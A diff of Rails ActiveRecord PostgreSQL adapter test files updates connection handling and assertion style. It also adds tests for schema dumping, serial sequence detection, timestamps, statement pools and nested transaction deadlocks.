@@ -531,7 +789,7 @@ def test_string_defaults_in_new_schema_when_overriding_domain
   end
 
   def test_decimal_defaults_in_new_schema_when_overriding_domain
-    assert_equal BigDecimal.new("3.14159265358979323846"), Default.new.decimal_col, "Default of decimal column was not correctly parsed"
+    assert_equal BigDecimal("3.14159265358979323846"), Default.new.decimal_col, "Default of decimal column was not correctly parsed"
   end
 
   def test_bpchar_defaults_in_new_schema_when_overriding_domain
@@ -553,10 +811,9 @@ def test_default_containing_quote_and_colons
 
 class SchemaWithDotsTest < ActiveRecord::PostgreSQLTestCase
   include PGSchemaHelper
-  self.use_transactional_tests = false
 
   setup do
-    @connection = ActiveRecord::Base.connection
+    @connection = ActiveRecord::Base.lease_connection
     @connection.create_schema "my.schema"
   end
 
@@ -587,3 +844,242 @@ class SchemaWithDotsTest < ActiveRecord::PostgreSQLTestCase
     end
   end
 end
+
+class SchemaJoinTablesTest < ActiveRecord::PostgreSQLTestCase
+  def setup
+    @connection = ActiveRecord::Base.lease_connection
+    @connection.create_schema("test_schema")
+  end
+
+  def teardown
+    @connection.drop_schema("test_schema", if_exists: true)
+  end
+
+  def test_create_join_table
+    @connection.create_join_table("test_schema.posts", "test_schema.comments")
+    assert @connection.table_exists?("test_schema.comments_posts")
+    columns = @connection.columns("test_schema.comments_posts").map(&:name)
+    assert_equal ["comment_id", "post_id"], columns.sort
+
+    @connection.drop_join_table("test_schema.posts", "test_schema.comments")
+    assert_not @connection.table_exists?("test_schema.comments_posts")
+  end
+end
+
+class SchemaIndexIncludeColumnsTest < ActiveRecord::PostgreSQLTestCase
+  include SchemaDumpingHelper
+
+  def test_schema_dumps_index_included_columns
+    index_definition = dump_table_schema("companies").split(/\n/).grep(/t\.index.*company_include_index/).first.strip
+    if ActiveRecord::Base.lease_connection.supports_index_include?
+      assert_equal 't.index ["firm_id", "type"], name: "company_include_index", include: ["name", "account_id"]', index_definition
+    else
+      assert_equal 't.index ["firm_id", "type"], name: "company_include_index"', index_definition
+    end
+  end
+end
+
+class SchemaIndexNullsNotDistinctTest < ActiveRecord::PostgreSQLTestCase
+  include SchemaDumpingHelper
+
+  setup do
+    @connection = ActiveRecord::Base.lease_connection
+    @connection.create_table "trains" do |t|
+      t.string :name
+    end
+  end
+
+  teardown do
+    @connection.drop_table "trains", if_exists: true
+  end
+
+  def test_nulls_not_distinct_is_dumped
+    skip("current adapter doesn't support nulls not distinct") unless supports_nulls_not_distinct?
+
+    @connection.execute "CREATE INDEX trains_name ON trains USING btree(name) NULLS NOT DISTINCT"
+
+    output = dump_table_schema "trains"
+
+    assert_match(/nulls_not_distinct: true/, output)
+  end
+
+  def test_nulls_distinct_is_dumped
+    skip("current adapter doesn't support nulls not distinct") unless supports_nulls_not_distinct?
+
+    @connection.execute "CREATE INDEX trains_name ON trains USING btree(name) NULLS DISTINCT"
+
+    output = dump_table_schema "trains"
+
+    assert_no_match(/nulls_not_distinct/, output)
+  end
+
+  def test_nulls_not_set_is_dumped
+    @connection.execute "CREATE INDEX trains_name ON trains USING btree(name)"
+
+    output = dump_table_schema "trains"
+
+    assert_no_match(/nulls_not_distinct/, output)
+  end
+end
+
+class SchemaCreateTableOptionsTest < ActiveRecord::PostgreSQLTestCase
+  include SchemaDumpingHelper
+
+  setup do
+    @previous_unlogged_tables = ActiveRecord::ConnectionAdapters::PostgreSQLAdapter.create_unlogged_tables
+    @connection = ActiveRecord::Base.connection
+    ActiveRecord::ConnectionAdapters::PostgreSQLAdapter.create_unlogged_tables = false
+  end
+
+  teardown do
+    @connection.drop_table "trains", if_exists: true
+    @connection.drop_table "transportation_modes", if_exists: true
+    @connection.drop_table "vehicles", if_exists: true
+    ActiveRecord::ConnectionAdapters::PostgreSQLAdapter.create_unlogged_tables = @previous_unlogged_tables
+  end
+
+  def test_list_partition_options_is_dumped
+    skip("current adapter doesn't support native partitioning") unless supports_native_partitioning?
+
+    options = "PARTITION BY LIST (kind)"
+
+    @connection.create_table "trains", id: false, options: options do |t|
+      t.string :name
+      t.string :kind
+    end
+
+    output = dump_table_schema "trains"
+
+    assert_match("options: \"#{options}\"", output)
+  end
+
+  def test_range_partition_options_is_dumped
+    skip("current adapter doesn't support native partitioning") unless supports_native_partitioning?
+
+    options = "PARTITION BY RANGE (created_at)"
+
+    @connection.create_table "trains", id: false, options: options do |t|
+      t.string :name
+      t.datetime :created_at, null: false
+    end
+
+    output = dump_table_schema "trains"
+
+    assert_match("options: \"#{options}\"", output)
+  end
+
+  def test_inherited_table_options_is_dumped
+    @connection.create_table "transportation_modes" do |t|
+      t.string :name
+      t.string :kind
+    end
+
+    options = "INHERITS (transportation_modes)"
+
+    @connection.create_table "trains", options: options
+
+    output = dump_table_schema "trains"
+
+    assert_match("options: \"#{options}\"", output)
+  end
+
+  def test_multiple_inherited_table_options_is_dumped
+    @connection.create_table "vehicles" do |t|
+      t.string :name
+    end
+
+    @connection.create_table "transportation_modes" do |t|
+      t.string :kind
+    end
+
+    options = "INHERITS (transportation_modes, vehicles)"
+
+    @connection.create_table "trains", options: options
+
+    output = dump_table_schema "trains"
+
+    assert_match("options: \"#{options}\"", output)
+  end
+
+  def test_no_partition_options_are_dumped
+    @connection.create_table "trains" do |t|
+      t.string :name
+    end
+
+    output = dump_table_schema "trains"
+
+    assert_no_match("options:", output)
+  end
+end
+
+class DumpSchemasTest < ActiveRecord::PostgreSQLTestCase
+  include SchemaDumpingHelper
+  include PGSchemaHelper
+
+  def setup
+    @connection = ActiveRecord::Base.connection
+    @connection.create_schema("test_schema")
+    @connection.create_schema("test_schema2")
+    @connection.create_enum("test_schema.test_enum_in_test_schema", ["foo", "bar"])
+    @connection.create_enum("test_enum_in_public", ["foo", "bar"])
+    @connection.create_table("test_schema.test_table")
+    @connection.create_table("test_schema.test_table2") do |t|
+      t.integer "test_table_id"
+      t.foreign_key "test_schema.test_table"
+    end
+  end
+
+  def teardown
+    @connection.drop_schema("test_schema")
+    @connection.drop_schema("test_schema2")
+    @connection.drop_enum("test_enum_in_public")
+  end
+
+  def test_schema_dump_with_dump_schemas_all
+    with_dump_schemas(:all) do
+      output = dump_all_table_schema
+
+      assert_includes output, 'create_schema "test_schema"'
+      assert_not_includes output, 'create_schema "public"'
+      assert_includes output, 'create_enum "test_schema.test_enum_in_test_schema"'
+      assert_includes output, 'create_enum "public.test_enum_in_public"'
+      assert_includes output, 'create_table "test_schema.test_table"'
+      assert_includes output, 'create_table "public.authors"'
+      assert_includes output, 'add_foreign_key "test_schema.test_table2", "test_schema.test_table"'
+      assert_includes output, 'add_foreign_key "public.authors", "public.author_addresses"'
+    end
+  end
+
+  def test_schema_dump_with_dump_schemas_string
+    with_dump_schemas("test_schema") do
+      output = dump_all_table_schema
+
+      assert_includes output, 'create_schema "test_schema"'
+      assert_not_includes output, 'create_schema "public"'
+      assert_includes output, 'create_enum "test_enum_in_test_schema"'
+      assert_not_includes output, "test_enum_in_public"
+      assert_includes output, 'create_table "test_table"'
+      assert_not_includes output, 'create table "authors"'
+      assert_includes output, 'add_foreign_key "test_table2", "test_table"'
+      assert_not_includes output, 'add_foreign_key "authors", "author_addresses"'
+    end
+  end
+
+  def test_schema_dump_with_dump_schemas_schema_search_path
+    with_dump_schemas(:schema_search_path) do
+      with_schema_search_path("'$user',test_schema2,test_schema") do
+        output = dump_all_table_schema
+
+        assert_includes output, 'create_schema "test_schema"'
+        assert_includes output, 'create_schema "test_schema2"'
+        assert_not_includes output, 'create_schema "public"'
+        assert_includes output, 'create_enum "test_schema.test_enum_in_test_schema"'
+        assert_not_includes output, 'create_enum "public.test_enum_in_public"'
+        assert_includes output, 'create_table "test_schema.test_table"'
+        assert_not_includes output, 'create_table "public.authors"'
+        assert_includes output, 'add_foreign_key "test_schema.test_table2", "test_schema.test_table"'
+        assert_not_includes output, 'add_foreign_key "public.authors", "public.author_addresses"'
+      end
+    end
+  end
+end
diff --git a/activerecord/test/cases/adapters/postgresql/serial_test.rb b/activerecord/test/cases/adapters/postgresql/serial_test.rb
index d711b3b729e80..8551d17a04cc1 100644
--- a/activerecord/test/cases/adapters/postgresql/serial_test.rb
+++ b/activerecord/test/cases/adapters/postgresql/serial_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 require "support/schema_dumping_helper"
 
@@ -7,7 +9,7 @@ class PostgresqlSerialTest < ActiveRecord::PostgreSQLTestCase
   class PostgresqlSerial < ActiveRecord::Base; end
 
   setup do
-    @connection = ActiveRecord::Base.connection
+    @connection = ActiveRecord::Base.lease_connection
     @connection.create_table "postgresql_serials", force: true do |t|
       t.serial :seq
       t.integer :serials_id, default: -> { "nextval('postgresql_serials_id_seq')" }
@@ -22,14 +24,14 @@ def test_serial_column
     column = PostgresqlSerial.columns_hash["seq"]
     assert_equal :integer, column.type
     assert_equal "integer", column.sql_type
-    assert column.serial?
+    assert_predicate column, :serial?
   end
 
   def test_not_serial_column
     column = PostgresqlSerial.columns_hash["serials_id"]
     assert_equal :integer, column.type
     assert_equal "integer", column.sql_type
-    assert_not column.serial?
+    assert_not_predicate column, :serial?
   end
 
   def test_schema_dump_with_shorthand
@@ -49,7 +51,7 @@ class PostgresqlBigSerialTest < ActiveRecord::PostgreSQLTestCase
   class PostgresqlBigSerial < ActiveRecord::Base; end
 
   setup do
-    @connection = ActiveRecord::Base.connection
+    @connection = ActiveRecord::Base.lease_connection
     @connection.create_table "postgresql_big_serials", force: true do |t|
       t.bigserial :seq
       t.bigint :serials_id, default: -> { "nextval('postgresql_big_serials_id_seq')" }
@@ -64,14 +66,14 @@ def test_bigserial_column
     column = PostgresqlBigSerial.columns_hash["seq"]
     assert_equal :integer, column.type
     assert_equal "bigint", column.sql_type
-    assert column.serial?
+    assert_predicate column, :serial?
   end
 
   def test_not_bigserial_column
     column = PostgresqlBigSerial.columns_hash["serials_id"]
     assert_equal :integer, column.type
     assert_equal "bigint", column.sql_type
-    assert_not column.serial?
+    assert_not_predicate column, :serial?
   end
 
   def test_schema_dump_with_shorthand
@@ -84,3 +86,71 @@ def test_schema_dump_with_not_bigserial
     assert_match %r{t\.bigint\s+"serials_id",\s+default: -> \{ "nextval\('postgresql_big_serials_id_seq'::regclass\)" \}$}, output
   end
 end
+
+module SequenceNameDetectionTestCases
+  class CollidedSequenceNameTest < ActiveRecord::PostgreSQLTestCase
+    include SchemaDumpingHelper
+
+    def setup
+      @connection = ActiveRecord::Base.lease_connection
+      @connection.create_table :foo_bar, force: true do |t|
+        t.serial :baz_id
+      end
+      @connection.create_table :foo, force: true do |t|
+        t.serial :bar_id
+        t.bigserial :bar_baz_id
+      end
+    end
+
+    def teardown
+      @connection.drop_table :foo_bar, if_exists: true
+      @connection.drop_table :foo, if_exists: true
+    end
+
+    def test_serial_columns
+      columns = @connection.columns(:foo)
+      columns.each do |column|
+        assert_equal :integer, column.type
+        assert_predicate column, :serial?
+      end
+    end
+
+    def test_schema_dump_with_collided_sequence_name
+      output = dump_table_schema "foo"
+      assert_match %r{t\.serial\s+"bar_id",\s+null: false$}, output
+      assert_match %r{t\.bigserial\s+"bar_baz_id",\s+null: false$}, output
+    end
+  end
+
+  class LongerSequenceNameDetectionTest < ActiveRecord::PostgreSQLTestCase
+    include SchemaDumpingHelper
+
+    def setup
+      @table_name = "long_table_name_to_test_sequence_name_detection_for_serial_cols"
+      @connection = ActiveRecord::Base.lease_connection
+      @connection.create_table @table_name, force: true, _uses_legacy_table_name: true do |t|
+        t.serial :seq
+        t.bigserial :bigseq
+      end
+    end
+
+    def teardown
+      @connection.drop_table @table_name, if_exists: true
+    end
+
+    def test_serial_columns
+      columns = @connection.columns(@table_name)
+      columns.each do |column|
+        assert_equal :integer, column.type
+        assert_predicate column, :serial?
+      end
+    end
+
+    def test_schema_dump_with_long_table_name
+      output = dump_table_schema @table_name
+      assert_match %r{create_table "#{@table_name}", force: :cascade}, output
+      assert_match %r{t\.serial\s+"seq",\s+null: false$}, output
+      assert_match %r{t\.bigserial\s+"bigseq",\s+null: false$}, output
+    end
+  end
+end
diff --git a/activerecord/test/cases/adapters/postgresql/statement_pool_test.rb b/activerecord/test/cases/adapters/postgresql/statement_pool_test.rb
index eb9978a898127..942a1197b3750 100644
--- a/activerecord/test/cases/adapters/postgresql/statement_pool_test.rb
+++ b/activerecord/test/cases/adapters/postgresql/statement_pool_test.rb
@@ -1,19 +1,29 @@
+# frozen_string_literal: true
+
 require "cases/helper"
+require "models/computer"
+require "models/developer"
 
 module ActiveRecord
   module ConnectionAdapters
     class PostgreSQLAdapter < AbstractAdapter
-      class InactivePGconn
+      class InactivePgConnection
+        def initialize
+          @raw_connection = nil
+        end
+
         def query(*args)
-          raise PGError
+          raise PG::Error
         end
 
         def status
-          PGconn::CONNECTION_BAD
+          PG::CONNECTION_BAD
         end
       end
 
       class StatementPoolTest < ActiveRecord::PostgreSQLTestCase
+        fixtures :developers
+
         if Process.respond_to?(:fork)
           def test_cache_is_per_pid
             cache = StatementPool.new nil, 10
@@ -21,20 +31,34 @@ def test_cache_is_per_pid
             assert_equal "bar", cache["foo"]
 
             pid = fork {
-              lookup = cache["foo"];
+              lookup = cache["foo"]
               exit!(!lookup)
             }
 
             Process.waitpid pid
-            assert $?.success?, "process should exit successfully"
+            assert_predicate $?, :success?, "process should exit successfully"
           end
         end
 
         def test_dealloc_does_not_raise_on_inactive_connection
-          cache = StatementPool.new InactivePGconn.new, 10
+          cache = StatementPool.new InactivePgConnection.new, 10
           cache["foo"] = "bar"
           assert_nothing_raised { cache.clear }
         end
+
+        def test_prepared_statements_do_not_get_stuck_on_query_interruption
+          pg_connection = ActiveRecord::Base.lease_connection.connect!.instance_variable_get(:@raw_connection)
+          pg_connection.stub(:get_last_result, -> { raise "random error" }) do
+            assert_raises(RuntimeError) do
+              Developer.where(name: "David").last
+            end
+
+            # without fix, this raises PG::DuplicatePstatement: ERROR:  prepared statement "a3" already exists
+            assert_raises(RuntimeError) do
+              Developer.where(name: "David").last
+            end
+          end
+        end
       end
     end
   end
diff --git a/activerecord/test/cases/adapters/postgresql/timestamp_test.rb b/activerecord/test/cases/adapters/postgresql/timestamp_test.rb
index 962450aada3bd..6987bcf6c7bc5 100644
--- a/activerecord/test/cases/adapters/postgresql/timestamp_test.rb
+++ b/activerecord/test/cases/adapters/postgresql/timestamp_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 require "models/developer"
 require "models/topic"
@@ -8,7 +10,7 @@ class PostgresqlTimestampWithZone < ActiveRecord::Base; end
   self.use_transactional_tests = false
 
   setup do
-    @connection = ActiveRecord::Base.connection
+    @connection = ActiveRecord::Base.lease_connection
     @connection.execute("INSERT INTO postgresql_timestamp_with_zones (id, time) VALUES (1, '2010-01-01 10:00:00-1')")
   end
 
@@ -16,7 +18,7 @@ class PostgresqlTimestampWithZone < ActiveRecord::Base; end
     PostgresqlTimestampWithZone.delete_all
   end
 
-  def test_timestamp_with_zone_values_with_rails_time_zone_support
+  def test_timestamp_with_zone_values_with_rails_time_zone_support_and_no_time_zone_set
     with_timezone_config default: :utc, aware_attributes: true do
       @connection.reconnect!
 
@@ -43,6 +45,78 @@ def test_timestamp_with_zone_values_without_rails_time_zone_support
   end
 end
 
+class PostgresqlTimestampWithAwareTypesTest < ActiveRecord::PostgreSQLTestCase
+  class PostgresqlTimestampWithZone < ActiveRecord::Base; end
+
+  self.use_transactional_tests = false
+
+  setup do
+    @connection = ActiveRecord::Base.lease_connection
+    @connection.execute("INSERT INTO postgresql_timestamp_with_zones (id, time) VALUES (1, '2010-01-01 10:00:00-1')")
+  end
+
+  teardown do
+    PostgresqlTimestampWithZone.delete_all
+  end
+
+  def test_timestamp_with_zone_values_with_rails_time_zone_support_and_time_zone_set
+    with_timezone_config default: :utc, aware_attributes: true, zone: "Pacific Time (US & Canada)", aware_types: [:timestamptz, :datetime, :time] do
+      @connection.reconnect!
+
+      timestamp = PostgresqlTimestampWithZone.find(1)
+      assert_equal Time.utc(2010, 1, 1, 11, 0, 0), timestamp.time
+      assert_instance_of ActiveSupport::TimeWithZone, timestamp.time
+    end
+  ensure
+    @connection.reconnect!
+  end
+end
+
+class PostgresqlTimestampWithTimeZoneTest < ActiveRecord::PostgreSQLTestCase
+  class PostgresqlTimestampWithZone < ActiveRecord::Base; end
+
+  self.use_transactional_tests = false
+
+  setup do
+    with_postgresql_datetime_type(:timestamptz) do
+      @connection = ActiveRecord::Base.lease_connection
+      @connection.execute("INSERT INTO postgresql_timestamp_with_zones (id, time) VALUES (1, '2010-01-01 10:00:00-1')")
+    end
+  end
+
+  teardown do
+    PostgresqlTimestampWithZone.delete_all
+  end
+
+  def test_timestamp_with_zone_values_with_rails_time_zone_support_and_timestamptz_and_no_time_zone_set
+    with_postgresql_datetime_type(:timestamptz) do
+      with_timezone_config default: :utc, aware_attributes: true, aware_types: [:timestamptz, :datetime, :time] do
+        @connection.reconnect!
+
+        timestamp = PostgresqlTimestampWithZone.find(1)
+        assert_equal Time.utc(2010, 1, 1, 11, 0, 0), timestamp.time
+        assert_instance_of Time, timestamp.time
+      end
+    end
+  ensure
+    @connection.reconnect!
+  end
+
+  def test_timestamp_with_zone_values_with_rails_time_zone_support_and_timestamptz_and_time_zone_set
+    with_postgresql_datetime_type(:timestamptz) do
+      with_timezone_config default: :utc, aware_attributes: true, zone: "Pacific Time (US & Canada)", aware_types: [:timestamptz, :datetime, :time] do
+        @connection.reconnect!
+
+        timestamp = PostgresqlTimestampWithZone.find(1)
+        assert_equal Time.utc(2010, 1, 1, 11, 0, 0), timestamp.time
+        assert_instance_of ActiveSupport::TimeWithZone, timestamp.time
+      end
+    end
+  ensure
+    @connection.reconnect!
+  end
+end
+
 class PostgresqlTimestampFixtureTest < ActiveRecord::PostgreSQLTestCase
   fixtures :topics
 
@@ -53,12 +127,12 @@ def test_group_by_date
   end
 
   def test_load_infinity_and_beyond
-    d = Developer.find_by_sql("select 'infinity'::timestamp as updated_at")
-    assert d.first.updated_at.infinite?, "timestamp should be infinite"
+    d = Developer.find_by_sql("select 'infinity'::timestamp as legacy_updated_at")
+    assert_predicate d.first.updated_at, :infinite?, "timestamp should be infinite"
 
-    d = Developer.find_by_sql("select '-infinity'::timestamp as updated_at")
+    d = Developer.find_by_sql("select '-infinity'::timestamp as legacy_updated_at")
     time = d.first.updated_at
-    assert time.infinite?, "timestamp should be infinite"
+    assert_predicate time, :infinite?, "timestamp should be infinite"
     assert_operator time, :<, 0
   end
 
@@ -71,7 +145,7 @@ def test_save_infinity_and_beyond
   end
 
   def test_bc_timestamp
-    date = Date.new(0) - 1.week
+    date = Time.new(0) - 1.week
     Developer.create!(name: "aaron", updated_at: date)
     assert_equal date, Developer.find_by_name("aaron").updated_at
   end
@@ -88,3 +162,48 @@ def test_bc_timestamp_year_zero
     assert_equal date, Developer.find_by_name("yahagi").updated_at
   end
 end
+
+class PostgresqlTimestampMigrationTest < ActiveRecord::PostgreSQLTestCase
+  class PostgresqlTimestampWithZone < ActiveRecord::Base; end
+
+  def test_adds_column_as_timestamp
+    original, $stdout = $stdout, StringIO.new
+
+    ActiveRecord::Migration.new.add_column :postgresql_timestamp_with_zones, :times, :datetime
+
+    assert_equal({ "data_type" => "timestamp without time zone" },
+                 PostgresqlTimestampWithZone.lease_connection.execute("select data_type from information_schema.columns where column_name = 'times'").to_a.first)
+  ensure
+    $stdout = original
+  end
+
+  def test_adds_column_as_timestamptz_if_datetime_type_changed
+    original, $stdout = $stdout, StringIO.new
+
+    with_postgresql_datetime_type(:timestamptz) do
+      ActiveRecord::Migration.new.add_column :postgresql_timestamp_with_zones, :times, :datetime
+
+      assert_equal({ "data_type" => "timestamp with time zone" },
+                   PostgresqlTimestampWithZone.lease_connection.execute("select data_type from information_schema.columns where column_name = 'times'").to_a.first)
+    end
+  ensure
+    $stdout = original
+  end
+
+  def test_adds_column_as_custom_type
+    original, $stdout = $stdout, StringIO.new
+
+    PostgresqlTimestampWithZone.lease_connection.execute("CREATE TYPE custom_time_format AS ENUM ('past', 'present', 'future');")
+
+    ActiveRecord::ConnectionAdapters::PostgreSQLAdapter::NATIVE_DATABASE_TYPES[:datetimes_as_enum] = { name: "custom_time_format" }
+    with_postgresql_datetime_type(:datetimes_as_enum) do
+      ActiveRecord::Migration.new.add_column :postgresql_timestamp_with_zones, :times, :datetime, precision: nil
+
+      assert_equal({ "data_type" => "USER-DEFINED", "udt_name" => "custom_time_format" },
+                   PostgresqlTimestampWithZone.lease_connection.execute("select data_type, udt_name from information_schema.columns where column_name = 'times'").to_a.first)
+    end
+  ensure
+    ActiveRecord::ConnectionAdapters::PostgreSQLAdapter::NATIVE_DATABASE_TYPES.delete(:datetimes_as_enum)
+    $stdout = original
+  end
+end
diff --git a/activerecord/test/cases/adapters/postgresql/transaction_nested_test.rb b/activerecord/test/cases/adapters/postgresql/transaction_nested_test.rb
new file mode 100644
index 0000000000000..b2e0f27505d78
--- /dev/null
+++ b/activerecord/test/cases/adapters/postgresql/transaction_nested_test.rb
@@ -0,0 +1,238 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "support/connection_helper"
+require "concurrent/atomic/cyclic_barrier"
+
+module ActiveRecord
+  class PostgresqlTransactionNestedTest < ActiveRecord::PostgreSQLTestCase
+    self.use_transactional_tests = false
+
+    class Sample < ActiveRecord::Base
+      self.table_name = "samples"
+    end
+    class Bit < ActiveRecord::Base
+      self.table_name = "bits"
+    end
+
+    setup do
+      @abort, Thread.abort_on_exception = Thread.abort_on_exception, false
+      Thread.report_on_exception, @original_report_on_exception = false, Thread.report_on_exception
+
+      connection = ActiveRecord::Base.lease_connection
+
+      connection.transaction do
+        connection.drop_table "samples", if_exists: true
+        connection.drop_table "bits", if_exists: true
+        connection.create_table("samples") do |t|
+          t.integer "value"
+        end
+        connection.create_table("bits") do |t|
+          t.integer "value"
+        end
+      end
+
+      Sample.reset_column_information
+      Bit.reset_column_information
+    end
+
+    teardown do
+      ActiveRecord::Base.lease_connection.drop_table "samples", if_exists: true
+      ActiveRecord::Base.lease_connection.drop_table "bits", if_exists: true
+
+      Thread.abort_on_exception = @abort
+      Thread.report_on_exception = @original_report_on_exception
+    end
+
+    test "unserializable transaction raises SerializationFailure inside nested SavepointTransaction" do
+      assert_raises(ActiveRecord::SerializationFailure) do
+        before = Concurrent::CyclicBarrier.new(2)
+        after = Concurrent::CyclicBarrier.new(2)
+
+        thread = Thread.new do
+          with_warning_suppression do
+            Sample.transaction(isolation: :serializable, requires_new: false) do
+              make_parent_transaction_dirty
+              Sample.transaction(requires_new: true) do
+                assert_current_transaction_is_savepoint_transaction
+                before.wait
+                Sample.create value: Sample.sum(:value)
+                after.wait
+              end
+            end
+          end
+        end
+
+        begin
+          with_warning_suppression do
+            Sample.transaction(isolation: :serializable, requires_new: false) do
+              make_parent_transaction_dirty
+              Sample.transaction(requires_new: true) do
+                assert_current_transaction_is_savepoint_transaction
+                before.wait
+                Sample.create value: Sample.sum(:value)
+                after.wait
+              end
+            end
+          end
+        ensure
+          thread.join
+        end
+      end
+    end
+
+    test "SerializationFailure inside nested SavepointTransaction is recoverable" do
+      start_right = Concurrent::Event.new
+      commit_left = Concurrent::Event.new
+      finish_right = Concurrent::Event.new
+      Sample.create value: 1
+
+      thread = Thread.new do
+        with_warning_suppression do
+          Sample.transaction(isolation: :serializable, requires_new: false) do
+            Sample.update_all value: 2
+            start_right.set
+            commit_left.wait(1)
+          end
+          finish_right.set
+        end
+      end
+
+      begin
+        with_warning_suppression do
+          start_right.wait
+          Sample.transaction(isolation: :serializable, requires_new: false) do
+            make_parent_transaction_dirty
+            assert_raises(ActiveRecord::SerializationFailure) do
+              Sample.transaction(requires_new: true) do
+                assert_current_transaction_is_savepoint_transaction
+                Sample.create value: 3
+                commit_left.set
+                finish_right.wait(2)
+                Sample.update_all value: 4
+              end
+            end
+            Bit.create value: 1
+          end
+        end
+      ensure
+        thread.join
+      end
+      assert_equal [2], Sample.pluck(:value)
+      assert_equal [1], Bit.pluck(:value)
+    end
+
+    test "deadlock raises Deadlocked inside nested SavepointTransaction" do
+      with_warning_suppression do
+        connections = Concurrent::Set.new
+        assert_raises(ActiveRecord::Deadlocked) do
+          barrier = Concurrent::CyclicBarrier.new(2)
+
+          s1 = Sample.create value: 1
+          s2 = Sample.create value: 2
+
+          thread = Thread.new do
+            connections.add Sample.lease_connection
+            Sample.transaction(requires_new: false) do
+              make_parent_transaction_dirty
+              Sample.transaction(requires_new: true) do
+                assert_current_transaction_is_savepoint_transaction
+                s1.lock!
+                barrier.wait
+                s2.update value: 1
+              end
+            end
+          end
+
+          begin
+            connections.add Sample.lease_connection
+            Sample.transaction(requires_new: false) do
+              make_parent_transaction_dirty
+              Sample.transaction(requires_new: true) do
+                assert_current_transaction_is_savepoint_transaction
+                s2.lock!
+                barrier.wait
+                s1.update value: 2
+              end
+            end
+          ensure
+            thread.join
+          end
+        end
+        assert connections.all?(&:active?)
+      end
+    end
+
+    test "deadlock inside nested SavepointTransaction is recoverable" do
+      with_warning_suppression do
+        barrier = Concurrent::CyclicBarrier.new(2)
+        deadlocks = 0
+
+        s1 = Sample.create value: 1
+        s2 = Sample.create value: 2
+
+        thread = Thread.new do
+          Sample.transaction(requires_new: false) do
+            make_parent_transaction_dirty
+            begin
+              Sample.transaction(requires_new: true) do
+                assert_current_transaction_is_savepoint_transaction
+                s1.lock!
+                barrier.wait
+                s2.update value: 4
+              end
+            rescue ActiveRecord::Deadlocked
+              deadlocks += 1
+            end
+            s2.update value: 10
+          end
+        end
+
+        begin
+          Sample.transaction(requires_new: false) do
+            make_parent_transaction_dirty
+            begin
+              Sample.transaction(requires_new: true) do
+                assert_current_transaction_is_savepoint_transaction
+                s2.lock!
+                barrier.wait
+                s1.update value: 3
+              end
+            rescue ActiveRecord::Deadlocked
+              deadlocks += 1
+            end
+            s1.update value: 10
+          end
+        ensure
+          thread.join
+        end
+        assert_equal 1, deadlocks
+        assert_equal [10, 10], Sample.pluck(:value)
+      end
+    end
+
+    private
+      def with_warning_suppression
+        log_level = ActiveRecord::Base.lease_connection.client_min_messages
+        ActiveRecord::Base.lease_connection.client_min_messages = "error"
+        yield
+      ensure
+        ActiveRecord::Base.connection_handler.clear_active_connections!(:all)
+        ActiveRecord::Base.lease_connection.client_min_messages = log_level
+      end
+
+      # These tests are coordinating a controlled sequence of accesses to rows in `samples` table under serializable isolation.
+      # We need to run a query to dirty our transaction, but must avoid touching `samples` rows
+      # because otherwise our no-op query becomes an active participant of the test setup
+      def make_parent_transaction_dirty
+        Bit.take
+      end
+
+      def assert_current_transaction_is_savepoint_transaction
+        current_transaction = Sample.lease_connection.current_transaction
+        unless current_transaction.is_a?(ActiveRecord::ConnectionAdapters::SavepointTransaction)
+          flunk("current transaction is not a savepoint transaction")
+        end
+      end
+  end
+end
diff --git a/activerecord/test/cases/adapters/postgresql/transaction_test.rb b/activerecord/test/cases/adapters/postgresql/transaction_test.rb
index 9b42d0383dece..5e673766b5eb5 100644
--- a/activerecord/test/cases/adapters/postgresql/transaction_test.rb
+++ b/activerecord/test/cases/adapters/postgresql/transaction_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 require "support/connection_helper"
 require "concurrent/atomic/cyclic_barrier"
@@ -12,12 +14,13 @@ class Sample < ActiveRecord::Base
 
     setup do
       @abort, Thread.abort_on_exception = Thread.abort_on_exception, false
+      Thread.report_on_exception, @original_report_on_exception = false, Thread.report_on_exception
 
-      @connection = ActiveRecord::Base.connection
+      connection = ActiveRecord::Base.lease_connection
 
-      @connection.transaction do
-        @connection.drop_table "samples", if_exists: true
-        @connection.create_table("samples") do |t|
+      connection.transaction do
+        connection.drop_table "samples", if_exists: true
+        connection.create_table("samples") do |t|
           t.integer "value"
         end
       end
@@ -26,9 +29,10 @@ class Sample < ActiveRecord::Base
     end
 
     teardown do
-      @connection.drop_table "samples", if_exists: true
+      ActiveRecord::Base.lease_connection.drop_table "samples", if_exists: true
 
       Thread.abort_on_exception = @abort
+      Thread.report_on_exception = @original_report_on_exception
     end
 
     test "raises SerializationFailure when a serialization failure occurs" do
@@ -62,6 +66,7 @@ class Sample < ActiveRecord::Base
 
     test "raises Deadlocked when a deadlock is encountered" do
       with_warning_suppression do
+        connections = Concurrent::Set.new
         assert_raises(ActiveRecord::Deadlocked) do
           barrier = Concurrent::CyclicBarrier.new(2)
 
@@ -69,34 +74,142 @@ class Sample < ActiveRecord::Base
           s2 = Sample.create value: 2
 
           thread = Thread.new do
+            connections.add Sample.lease_connection
             Sample.transaction do
               s1.lock!
               barrier.wait
-              s2.update_attributes value: 1
+              s2.update value: 1
             end
           end
 
           begin
+            connections.add Sample.lease_connection
             Sample.transaction do
               s2.lock!
               barrier.wait
-              s1.update_attributes value: 2
+              s1.update value: 2
             end
           ensure
             thread.join
           end
         end
+        assert connections.all?(&:active?)
       end
     end
 
-    private
+    test "raises LockWaitTimeout when lock wait timeout exceeded" do
+      assert_raises(ActiveRecord::LockWaitTimeout) do
+        s = Sample.create!(value: 1)
+        latch1 = Concurrent::CountDownLatch.new
+        latch2 = Concurrent::CountDownLatch.new
+
+        thread = Thread.new do
+          Sample.transaction do
+            Sample.lock.find(s.id)
+            latch1.count_down
+            latch2.wait
+          end
+        end
+
+        begin
+          Sample.transaction do
+            latch1.wait
+            Sample.lease_connection.execute("SET lock_timeout = 1")
+            Sample.lock.find(s.id)
+          end
+        ensure
+          Sample.lease_connection.execute("SET lock_timeout = DEFAULT")
+          latch2.count_down
+          thread.join
+        end
+      end
+    end
+
+    test "raises QueryCanceled when statement timeout exceeded" do
+      assert_raises(ActiveRecord::QueryCanceled) do
+        s = Sample.create!(value: 1)
